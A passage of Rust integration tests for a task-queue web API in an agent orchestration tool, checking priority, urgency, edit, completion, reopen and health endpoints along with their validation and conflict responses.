18633        assert!(!q.get(&t.id).unwrap().urgent);
18634        drop(claim);
18635        for status in [
18636            TaskStatus::Running,
18637            TaskStatus::Done,
18638            TaskStatus::Failed,
18639            TaskStatus::Blocked,
18640            TaskStatus::Parked,
18641        ] {
18642            t.status = status;
18643            q.put(&mut t).unwrap();
18644            for urgent in [true, false] {
18645                let response = f
18646                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18647                    .await;
18648                assert_eq!(response.status, 400, "{}", response.body);
18649                assert!(response.body.contains(status.as_str()));
18650                assert!(response.body.contains("queued or held"));
18651                assert!(!q.get(&t.id).unwrap().urgent);
18652            }
18653        }
18654        assert_eq!(
18655            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18656                .await
18657                .status,
18658            404
18659        );
18660    }
18661
18662    #[test]
18663    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18664        for immediate in [true, false] {
18665            let body: ImmediateBody =
18666                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18667            assert_eq!(body.immediate, immediate);
18668        }
18669        for input in [
18670            r#"{}"#,
18671            r#"{"immediate":null}"#,
18672            r#"{"immediate":"true"}"#,
18673            r#"{"immediate":1}"#,
18674            r#"{"immediate":true,"extra":false}"#,
18675        ] {
18676            assert!(
18677                serde_json::from_str::<ImmediateBody>(input).is_err(),
18678                "{input}"
18679            );
18680        }
18681    }
18682
18683    #[tokio::test]
18684    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18685        let f = Fixture::start().await;
18686        let q = f.queue();
18687        let mut t = Task::new(
18688            "immediate API".into(),
18689            "unchanged".into(),
18690            PathBuf::from("/repo/magi"),
18691            Source::Human,
18692        );
18693        t.attempts = 2;
18694        t.priority = 9;
18695        t.interrupt = true;
18696        t.urgent = true;
18697        t.hold_reason = Some("waiting for approval".into());
18698        for status in [TaskStatus::Queued, TaskStatus::Held] {
18699            t.status = status;
18700            q.put(&mut t).unwrap();
18701            for immediate in [true, true, false, false] {
18702                let response = f
18703                    .post(
18704                        &format!("/api/queue/{}/immediate", t.short()),
18705                        Some(&format!("{{\"immediate\":{immediate}}}")),
18706                    )
18707                    .await;
18708                assert_eq!(response.status, 200, "{}", response.body);
18709                let payload = response.json();
18710                assert_eq!(payload["immediate"], immediate);
18711                assert_eq!(payload["urgent"], true);
18712                if immediate {
18713                    assert_eq!(payload["admission"]["mode"], "immediate");
18714                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18715                    assert!(
18716                        !label.contains("claimed by another process"),
18717                        "mutate must drop its claim before computing admission: {payload}"
18718                    );
18719                    if status == TaskStatus::Held {
18720                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18721                    }
18722                }
18723                let saved = q.get(&t.id).unwrap();
18724                let mut before = serde_json::to_value(&t).unwrap();
18725                let mut after = serde_json::to_value(saved).unwrap();
18726                before["immediate"] = immediate.into();
18727                before.as_object_mut().unwrap().remove("updated_at");
18728                after.as_object_mut().unwrap().remove("updated_at");
18729                assert_eq!(after, before);
18730            }
18731        }
18732        let route = format!("/api/queue/{}/immediate", t.id);
18733        for body in [
18734            r#"{}"#,
18735            r#"{"immediate":null}"#,
18736            r#"{"immediate":"true"}"#,
18737            r#"{"immediate":1}"#,
18738            r#"{"immediate":true,"extra":false}"#,
18739            "{",
18740        ] {
18741            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18742        }
18743        t.status = TaskStatus::Queued;
18744        q.put(&mut t).unwrap();
18745        let claim = q.claim(&t.id).unwrap();
18746        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18747        assert_eq!(response.status, 409, "{}", response.body);
18748        assert!(!q.get(&t.id).unwrap().immediate);
18749        drop(claim);
18750        for status in [
18751            TaskStatus::Running,
18752            TaskStatus::Done,
18753            TaskStatus::Failed,
18754            TaskStatus::Blocked,
18755            TaskStatus::Parked,
18756        ] {
18757            t.status = status;
18758            q.put(&mut t).unwrap();
18759            for immediate in [true, false] {
18760                let response = f
18761                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18762                    .await;
18763                assert_eq!(response.status, 400, "{}", response.body);
18764                assert!(response.body.contains(status.as_str()));
18765                assert!(response.body.contains("queued or held"));
18766                assert!(!q.get(&t.id).unwrap().immediate);
18767            }
18768        }
18769        assert_eq!(
18770            f.post(
18771                "/api/queue/missing/immediate",
18772                Some(r#"{"immediate":true}"#)
18773            )
18774            .await
18775            .status,
18776            404
18777        );
18778    }
18779
18780    #[tokio::test]
18781    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18782        let f = Fixture::start().await;
18783        let queue = f.queue();
18784        let mut older = Task::new(
18785            "filed first".to_owned(),
18786            "x".to_owned(),
18787            PathBuf::from("/repo/magi"),
18788            Source::Human,
18789        );
18790        older.id = "20260101-000001-aaaa".to_owned();
18791        let mut newer = Task::new(
18792            "filed second".to_owned(),
18793            "x".to_owned(),
18794            PathBuf::from("/repo/magi"),
18795            Source::Human,
18796        );
18797        newer.id = "20260101-000002-bbbb".to_owned();
18798        queue.put(&mut older).expect("file older");
18799        queue.put(&mut newer).expect("file newer");
18800
18801        // Equal priority: the newer task leads, the same order the old
18802        // newest-first `list()` already gave every equal-priority queue.
18803        let before = f.get("/api/queue").await.json();
18804        assert_eq!(before[0]["id"], newer.id);
18805        assert_eq!(before[1]["id"], older.id);
18806
18807        // Raising the *older* task is the meaningful case: it can only lead
18808        // now because its priority says so, not because it happens to be
18809        // newest.
18810        let raised = f
18811            .post(
18812                &format!("/api/queue/{}/priority", older.id),
18813                Some(r#"{"priority":10}"#),
18814            )
18815            .await;
18816        assert_eq!(raised.status, 200, "{}", raised.body);
18817        assert_eq!(raised.json()["priority"], 10);
18818
18819        let after = f.get("/api/queue").await.json();
18820        let names: Vec<&str> = after
18821            .as_array()
18822            .unwrap()
18823            .iter()
18824            .map(|t| t["id"].as_str().unwrap())
18825            .collect();
18826        // Highest priority first, which is the order next_runnable and
18827        // `magi task list` both use - GET /api/queue must agree with it
18828        // immediately, not just once the loop claims the task.
18829        assert_eq!(names[0], older.id, "the raised task now sorts first");
18830    }
18831
18832    #[tokio::test]
18833    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18834        let f = Fixture::start().await;
18835        let queue = f.queue();
18836        let mut tasks = Vec::new();
18837        for id in [
18838            "20260101-000001-aaaa",
18839            "20260101-000002-bbbb",
18840            "20260101-000003-cccc",
18841        ] {
18842            let mut task = Task::new(
18843                id.into(),
18844                "x".into(),
18845                PathBuf::from("/repo/magi"),
18846                Source::Human,
18847            );
18848            task.id = id.into();
18849            queue.put(&mut task).unwrap();
18850            tasks.push(task);
18851        }
18852        assert_eq!(
18853            queue.next_runnable().unwrap().id,
18854            tasks[0].id,
18855            "equal priorities use ascending id"
18856        );
18857        let route = format!("/api/queue/{}/priority", tasks[2].id);
18858        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18859        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18860        tasks[1].start("upgrade-run".into());
18861        tasks[1].park("upgrade");
18862        tasks[1].record_pass_at(
18863            "upgrade-run",
18864            0,
18865            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18866            1,
18867            Some(crate::run::ParkCause::Upgrade {
18868                from: "old".into(),
18869                to: None,
18870            }),
18871        );
18872        queue.put(&mut tasks[1]).unwrap();
18873        let rows = f.get("/api/queue").await.json();
18874        let upgrade = rows
18875            .as_array()
18876            .unwrap()
18877            .iter()
18878            .find(|row| row["id"] == tasks[1].id)
18879            .unwrap();
18880        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18881        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18882        tasks[2] = queue.get(&tasks[2].id).unwrap();
18883        tasks[2].start("running-run".into());
18884        queue.put(&mut tasks[2]).unwrap();
18885        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18886        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18887    }
18888
18889    #[tokio::test]
18890    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18891        let dir = TempDir::new().unwrap();
18892        let q = Queue::at(dir.path().join("queue"));
18893        let ui = Arc::new(Ui::new(
18894            q.clone(),
18895            Questions::at(dir.path().join("questions")),
18896            Talks::at(dir.path().join("talks")),
18897            dir.path().join("runs"),
18898            dir.path().to_path_buf(),
18899            dir.path().to_path_buf(),
18900        ));
18901        let mut t = Task::new(
18902            "budget".into(),
18903            "keep".into(),
18904            dir.path().into(),
18905            Source::Human,
18906        );
18907        t.attempts = 2;
18908        t.runs.push("prior-run".into());
18909        t.hold_manual(Some("waiting".into()));
18910        q.put(&mut t).unwrap();
18911        let change = |value| {
18912            queue_attempt_limit(
18913                State(ui.clone()),
18914                Path(t.id.clone()),
18915                Ok(Json(AttemptLimitBody {
18916                    attempt_limit: value,
18917                })),
18918            )
18919        };
18920        for value in [
18921            serde_json::json!(3),
18922            serde_json::Value::Null,
18923            serde_json::json!(1),
18924        ] {
18925            let response = change(value.clone()).await.unwrap();
18926            assert_eq!(
18927                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18928                value
18929            );
18930            let saved = q.get(&t.id).unwrap();
18931            assert_eq!(
18932                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18933                value
18934            );
18935            assert_eq!(saved.status, TaskStatus::Held);
18936            assert_eq!(saved.attempts, t.attempts);
18937            assert_eq!(saved.runs, t.runs);
18938            assert_eq!(saved.hold_reason, t.hold_reason);
18939            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18940                .await
18941                .unwrap()
18942                .0;
18943            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18944            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18945            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18946            assert_eq!(outcome.max_attempts, detail.max_attempts);
18947        }
18948        for value in [
18949            serde_json::json!(0),
18950            serde_json::json!(-1),
18951            serde_json::json!(1.5),
18952            serde_json::json!("3"),
18953            serde_json::json!(true),
18954        ] {
18955            assert_eq!(
18956                change(value).await.err().unwrap().status,
18957                StatusCode::BAD_REQUEST
18958            );
18959        }
18960        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18961        let claim = q.claim(&t.id).unwrap();
18962        assert_eq!(
18963            change(serde_json::json!(4)).await.err().unwrap().status,
18964            StatusCode::CONFLICT
18965        );
18966        drop(claim);
18967        for status in [
18968            TaskStatus::Running,
18969            TaskStatus::Done,
18970            TaskStatus::Failed,
18971            TaskStatus::Blocked,
18972            TaskStatus::Parked,
18973        ] {
18974            let mut stored = q.get(&t.id).unwrap();
18975            stored.status = status;
18976            q.put(&mut stored).unwrap();
18977            assert_eq!(
18978                change(serde_json::json!(4)).await.err().unwrap().status,
18979                StatusCode::BAD_REQUEST
18980            );
18981            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18982        }
18983        let mut stored = q.get(&t.id).unwrap();
18984        stored.status = TaskStatus::Queued;
18985        q.put(&mut stored).unwrap();
18986        let _ = change(serde_json::Value::Null).await.unwrap();
18987        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18988    }
18989
18990    #[tokio::test]
18991    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18992        let dir = TempDir::new().unwrap();
18993        let repo = dir.path().join("repo");
18994        std::fs::create_dir(&repo).unwrap();
18995        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18996        let q = Queue::at(dir.path().join("queue"));
18997        let ui = Arc::new(Ui::new(
18998            q.clone(),
18999            Questions::at(dir.path().join("questions")),
19000            Talks::at(dir.path().join("talks")),
19001            dir.path().join("runs"),
19002            dir.path().to_path_buf(),
19003            repo.clone(),
19004        ));
19005        let mut t = Task::new(
19006            "seats".into(),
19007            "keep instruction".into(),
19008            repo,
19009            Source::Human,
19010        );
19011        t.runs.push("prior-run".into());
19012        t.hold_manual(Some("waiting".into()));
19013        q.put(&mut t).unwrap();
19014        let change = |count| {
19015            queue_implementers(
19016                State(ui.clone()),
19017                Path(t.id.clone()),
19018                Ok(Json(ImplementersBody {
19019                    implementers: count,
19020                })),
19021            )
19022        };
19023        for count in [2, 1, 2] {
19024            let response = change(count).await.unwrap();
19025            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19026            let saved = q.get(&t.id).unwrap();
19027            assert_eq!(saved.implementers(), Some(usize::from(count)));
19028            assert_eq!(saved.runs, t.runs);
19029            assert_eq!(saved.instruction, t.instruction);
19030        }
19031        for count in [0, 4] {
19032            assert_eq!(
19033                change(count).await.err().unwrap().status,
19034                StatusCode::BAD_REQUEST
19035            );
19036        }
19037        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19038        let claim = q.claim(&t.id).unwrap();
19039        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19040        drop(claim);
19041        for status in [
19042            TaskStatus::Running,
19043            TaskStatus::Done,
19044            TaskStatus::Failed,
19045            TaskStatus::Blocked,
19046            TaskStatus::Parked,
19047        ] {
19048            let mut stored = q.get(&t.id).unwrap();
19049            stored.status = status;
19050            q.put(&mut stored).unwrap();
19051            assert_eq!(
19052                change(1).await.err().unwrap().status,
19053                StatusCode::BAD_REQUEST
19054            );
19055            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19056        }
19057    }
19058
19059    #[tokio::test]
19060    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19061        let f = Fixture::start().await;
19062        let queue = f.queue();
19063        let mut task = Task::new(
19064            "in flight".to_owned(),
19065            "x".to_owned(),
19066            PathBuf::from("/repo/magi"),
19067            Source::Human,
19068        );
19069        task.start("20260902-140502-bbbb".to_owned());
19070        queue.put(&mut task).expect("file the task");
19071
19072        let res = f
19073            .post(
19074                &format!("/api/queue/{}/priority", task.id),
19075                Some(r#"{"priority":9}"#),
19076            )
19077            .await;
19078        assert_eq!(res.status, 400, "{}", res.body);
19079        assert!(
19080            res.json()["error"]
19081                .as_str()
19082                .is_some_and(|e| e.contains("running")),
19083            "{}",
19084            res.body
19085        );
19086        assert_eq!(
19087            queue.get(&task.id).expect("reload").priority,
19088            0,
19089            "the refused write must not partially apply"
19090        );
19091    }
19092
19093    #[tokio::test]
19094    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19095        let f = Fixture::start().await;
19096        let queue = f.queue();
19097        let mut task = Task::new(
19098            "old title".to_owned(),
19099            "old instruction".to_owned(),
19100            PathBuf::from("/repo/magi"),
19101            Source::Agent {
19102                run: "20260101-000000-beef".to_owned(),
19103                node: "implement".to_owned(),
19104            },
19105        );
19106        task.runs.push("20260101-000000-beef".to_owned());
19107        queue.put(&mut task).expect("file the task");
19108        let created_at = task.created_at;
19109
19110        let edited = f
19111            .post(
19112                &format!("/api/queue/{}/edit", task.id),
19113                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19114            )
19115            .await;
19116        assert_eq!(edited.status, 200, "{}", edited.body);
19117        let body = edited.json();
19118        assert_eq!(body["title"], "new title");
19119        assert_eq!(body["instruction"], "new instruction");
19120        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19121        assert_eq!(body["created_at"], created_at.to_string());
19122        assert_eq!(
19123            body["source"]["kind"], "agent",
19124            "editing a task an agent filed must not turn it human: {body}"
19125        );
19126        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19127
19128        let reloaded = queue.get(&task.id).expect("reload");
19129        assert_eq!(reloaded.title, "new title");
19130        assert_eq!(reloaded.instruction, "new instruction");
19131    }
19132
19133    #[tokio::test]
19134    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19135        // The judge is an agent now: a repo whose only agent answers
19136        // "duplicate" stands in for it, so the refusal is the judge's.
19137        let tmp = TempDir::new().expect("tempdir");
19138        let repo = tmp.path().join("repo");
19139        std::fs::create_dir_all(&repo).expect("repo dir");
19140        let judge = MOCK_AGENT_TOML.replace(
19141            "printf ok",
19142            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19143        );
19144        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19145        let f = Fixture::with_repo(repo.clone()).await;
19146        let queue = f.queue();
19147        let mut owner = Task::new(
19148            "owner".to_owned(),
19149            "review it".to_owned(),
19150            repo.clone(),
19151            Source::Human,
19152        );
19153        owner.review_branch = Some("magi/ab12/A".to_owned());
19154        queue.put(&mut owner).expect("file the owner");
19155        let mut task = Task::new(
19156            "draft".to_owned(),
19157            "old".to_owned(),
19158            repo.clone(),
19159            Source::Human,
19160        );
19161        queue.put(&mut task).expect("file the draft");
19162        let url = format!("/api/queue/{}/edit", task.id);
19163
19164        let refused = f
19165            .post(
19166                &url,
19167                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19168            )
19169            .await;
19170        assert_eq!(refused.status, 409, "{}", refused.body);
19171        let msg = refused.json()["error"]
19172            .as_str()
19173            .unwrap_or_default()
19174            .to_owned();
19175        assert!(
19176            msg.contains("magi/ab12/A") && msg.contains("force"),
19177            "{msg}"
19178        );
19179        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19180
19181        let forced = f
19182            .post(
19183                &url,
19184                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19185            )
19186            .await;
19187        assert_eq!(forced.status, 200, "{}", forced.body);
19188    }
19189
19190    #[tokio::test]
19191    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19192        let f = Fixture::start().await;
19193        let queue = f.queue();
19194        let mut task = Task::new(
19195            "in flight".to_owned(),
19196            "do not touch".to_owned(),
19197            PathBuf::from("/repo/magi"),
19198            Source::Human,
19199        );
19200        task.start("20260902-140502-bbbb".to_owned());
19201        queue.put(&mut task).expect("file the task");
19202
19203        let res = f
19204            .post(
19205                &format!("/api/queue/{}/edit", task.id),
19206                Some(r#"{"title":"x","instruction":"y"}"#),
19207            )
19208            .await;
19209        assert_eq!(res.status, 400, "{}", res.body);
19210        assert!(
19211            res.json()["error"]
19212                .as_str()
19213                .is_some_and(|e| e.contains("running")),
19214            "{}",
19215            res.body
19216        );
19217        assert_eq!(
19218            queue.get(&task.id).expect("reload").instruction,
19219            "do not touch",
19220            "the refused edit must not change the file"
19221        );
19222    }
19223
19224    #[tokio::test]
19225    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19226        let f = Fixture::start().await;
19227        let queue = f.queue();
19228        let mut task = Task::new(
19229            "busy".to_owned(),
19230            "Running right now".to_owned(),
19231            PathBuf::from("/repo/magi"),
19232            Source::Human,
19233        );
19234        queue.put(&mut task).expect("file the task");
19235        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19236
19237        let priority = f
19238            .post(
19239                &format!("/api/queue/{}/priority", task.id),
19240                Some(r#"{"priority":9}"#),
19241            )
19242            .await;
19243        assert_eq!(priority.status, 409, "{}", priority.body);
19244
19245        let edit = f
19246            .post(
19247                &format!("/api/queue/{}/edit", task.id),
19248                Some(r#"{"title":"x","instruction":"y"}"#),
19249            )
19250            .await;
19251        assert_eq!(edit.status, 409, "{}", edit.body);
19252    }
19253
19254    #[tokio::test]
19255    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19256        let f = Fixture::start().await;
19257        let queue = f.queue();
19258        let mut task = Task::new(
19259            "claimed".into(),
19260            "leave unchanged".into(),
19261            f.home.path().into(),
19262            Source::Human,
19263        );
19264        queue.put(&mut task).unwrap();
19265        let _claim = queue.claim(&task.id).unwrap();
19266        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19267            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19268            assert_eq!(missing.status, 404, "{}", missing.body);
19269            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19270
19271            let busy = f
19272                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19273                .await;
19274            assert_eq!(busy.status, 409, "{}", busy.body);
19275            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19276        }
19277        let unchanged = queue.get(&task.id).unwrap();
19278        assert_eq!(unchanged.status, TaskStatus::Queued);
19279        assert!(unchanged.completion_history.is_empty());
19280    }
19281
19282    #[test]
19283    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19284        let home = TempDir::new().unwrap();
19285        let queue = Queue::at(home.path().join("queue"));
19286        let mut current = Task::new(
19287            "stale".into(),
19288            "original".into(),
19289            home.path().into(),
19290            Source::Human,
19291        );
19292        queue.put(&mut current).unwrap();
19293        let expected = current.clone();
19294        current.instruction = "updated".into();
19295        queue.put(&mut current).unwrap();
19296
19297        let mut decision = expected.clone();
19298        decision.status = TaskStatus::Done;
19299        let error = queue
19300            .commit_completion(&mut decision, &expected)
19301            .unwrap_err();
19302        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19303        let saved = queue.get(&current.id).unwrap();
19304        assert_eq!(saved.status, TaskStatus::Queued);
19305        assert_eq!(saved.instruction, "updated");
19306    }
19307
19308    #[tokio::test]
19309    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19310        let f = Fixture::start().await;
19311        let queue = f.queue();
19312        let mut task = Task::new(
19313            "shipped by hand".to_owned(),
19314            "merged outside the loop".to_owned(),
19315            PathBuf::from("/repo/magi"),
19316            Source::Agent {
19317                run: "20260101-000000-b455".to_owned(),
19318                node: "implement".to_owned(),
19319            },
19320        );
19321        task.runs.push("20260101-000000-b455".to_owned());
19322        task.runs.push("20260101-000000-9af4".to_owned());
19323        queue.put(&mut task).expect("file the task");
19324        let created_at = task.created_at;
19325
19326        let done = f
19327            .post(
19328                &format!("/api/queue/{}/done", task.id),
19329                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19330            )
19331            .await;
19332        assert_eq!(done.status, 200, "{}", done.body);
19333        assert_eq!(done.json()["status_str"], "done");
19334
19335        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19336        assert_eq!(
19337            reloaded.runs,
19338            ["20260101-000000-b455", "20260101-000000-9af4"]
19339        );
19340        assert_eq!(
19341            reloaded.source,
19342            Source::Agent {
19343                run: "20260101-000000-b455".to_owned(),
19344                node: "implement".to_owned(),
19345            }
19346        );
19347        assert_eq!(reloaded.created_at, created_at);
19348        let event = reloaded
19349            .completion_history
19350            .last()
19351            .expect("completion audit");
19352        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19353        assert!(event.discard);
19354        assert_eq!(
19355            event.reason.as_deref(),
19356            Some("owner cancelled retained work")
19357        );
19358        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19359        assert_eq!(
19360            detail.json()["completion_history"][0]["occurrence"],
19361            event.occurrence
19362        );
19363    }
19364
19365    #[tokio::test]
19366    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19367        // Explicit discard may close held work without a release; the current
19368        // hold clears while the completion audit preserves its prior status.
19369        let f = Fixture::start().await;
19370        let queue = f.queue();
19371        let mut task = Task::new(
19372            "landed while held".to_owned(),
19373            "x".to_owned(),
19374            PathBuf::from("/repo/magi"),
19375            Source::Human,
19376        );
19377        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19378        queue.put(&mut task).expect("file the held task");
19379
19380        let done = f
19381            .post(
19382                &format!("/api/queue/{}/done", task.id),
19383                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19384            )
19385            .await;
19386        assert_eq!(done.status, 200, "{}", done.body);
19387        assert_eq!(done.json()["status_str"], "done");
19388        assert!(
19389            done.json()["hold_reason"].is_null(),
19390            "a done task cannot still be waiting on something: {}",
19391            done.body
19392        );
19393    }
19394
19395    #[tokio::test]
19396    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19397        // `queue_done` is the phone's way to close a task the loop never
19398        // settled itself - after confirming a manual GitHub merge, say - and
19399        // that is just as much "this task's story is over" as the loop's own
19400        // `Merged`/`Ready` path, so it must trigger the same cleanup.
19401        let f = Fixture::start().await;
19402        let queue = f.queue();
19403        let runs = f.runs();
19404        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19405        // The last attempt has to have actually landed for the earlier one
19406        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19407        // for the case where it didn't.
19408        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19409
19410        let mut task = Task::new(
19411            "landed by hand".to_owned(),
19412            "x".to_owned(),
19413            PathBuf::from("/repo/magi"),
19414            Source::Human,
19415        );
19416        task.runs.push("20260101-000000-doa1".to_owned());
19417        task.runs.push("20260101-000000-doa2".to_owned());
19418        queue.put(&mut task).expect("file the task");
19419
19420        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19421        assert_eq!(done.status, 200, "{}", done.body);
19422
19423        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19424            .expect("run still on disk under this fixture's own home");
19425        assert_eq!(
19426            reloaded_run.status,
19427            RunStatus::Superseded,
19428            "closing the task by hand must relabel the earlier blocked attempt exactly \
19429             like the loop's own settle path does"
19430        );
19431    }
19432
19433    #[tokio::test]
19434    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19435        // Intentional discard preserves unsuccessful runs as unsuccessful:
19436        // closing the task does not claim they were delivered or superseded.
19437        let f = Fixture::start().await;
19438        let queue = f.queue();
19439        let runs = f.runs();
19440        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19441        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19442
19443        let mut task = Task::new(
19444            "closed with nothing actually landed".to_owned(),
19445            "x".to_owned(),
19446            PathBuf::from("/repo/magi"),
19447            Source::Human,
19448        );
19449        task.runs.push("20260101-000000-dob1".to_owned());
19450        task.runs.push("20260101-000000-dob2".to_owned());
19451        queue.put(&mut task).expect("file the task");
19452
19453        let done = f
19454            .post(
19455                &format!("/api/queue/{}/done", task.id),
19456                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19457            )
19458            .await;
19459        assert_eq!(done.status, 200, "{}", done.body);
19460
19461        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19462            .expect("run still on disk under this fixture's own home");
19463        assert_eq!(
19464            reloaded_run.status,
19465            RunStatus::Blocked,
19466            "the last recorded attempt never landed, so the earlier one must not be \
19467             relabelled as superseded by it"
19468        );
19469    }
19470
19471    #[tokio::test]
19472    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19473        let f = Fixture::start().await;
19474        let queue = f.queue();
19475        let mut task = Task::new(
19476            "unstarted".into(),
19477            "keep its history".into(),
19478            PathBuf::from("/repo/magi"),
19479            Source::Human,
19480        );
19481        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19482        task.runs.push("20260101-000000-aud1".into());
19483        queue.put(&mut task).unwrap();
19484        let path = format!("/api/queue/{}/done", task.id);
19485        let refused = f.post(&path, None).await;
19486        assert_eq!(refused.status, 400, "{}", refused.body);
19487        let blank = f
19488            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19489            .await;
19490        assert_eq!(blank.status, 400, "{}", blank.body);
19491        assert!(blank.body.contains("--discard requires a non-empty reason"));
19492        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19493        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19494        let closed = f
19495            .post(
19496                &path,
19497                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19498            )
19499            .await;
19500        assert_eq!(closed.status, 200, "{}", closed.body);
19501        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19502        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19503        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19504        let reopened = f
19505            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19506            .await;
19507        assert_eq!(reopened.status, 200, "{}", reopened.body);
19508        let saved = queue.get(&task.id).unwrap();
19509        assert_eq!(saved.status, TaskStatus::Held);
19510        assert_eq!(saved.completion_history.len(), 2);
19511        let event = &saved.completion_history[1];
19512        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19513        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19514        assert_eq!(event.prior_status, TaskStatus::Done);
19515        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19516    }
19517
19518    #[tokio::test]
19519    async fn unknown_ids_are_json_not_found_on_both_stores() {
19520        let f = Fixture::start().await;
19521
19522        let run = f.get("/api/runs/nosuchrun").await;
19523        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19524
19525        assert_eq!(run.status, 404);
19526        assert_eq!(task.status, 404);
19527        assert!(
19528            run.json()["error"]
19529                .as_str()
19530                .is_some_and(|e| e.contains("run")),
19531            "the error names what was not found: {}",
19532            run.body
19533        );
19534        assert!(
19535            task.json()["error"]
19536                .as_str()
19537                .is_some_and(|e| e.contains("task")),
19538            "the error names what was not found: {}",
19539            task.body
19540        );
19541    }
19542
19543    #[tokio::test]
19544    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19545        let f = Fixture::start().await;
19546
19547        let missing = f.get("/api/health").await.json();
19548        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19549
19550        write_daemon(
19551            f.home.path(),
19552            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19553        );
19554        let stale = f.get("/api/health").await.json();
19555        assert_eq!(
19556            stale["daemon"]["running"], false,
19557            "a minute without a heartbeat is a dead daemon, not a busy one"
19558        );
19559        assert!(
19560            stale["daemon"]["stale_for_secs"]
19561                .as_i64()
19562                .is_some_and(|s| s >= 55),
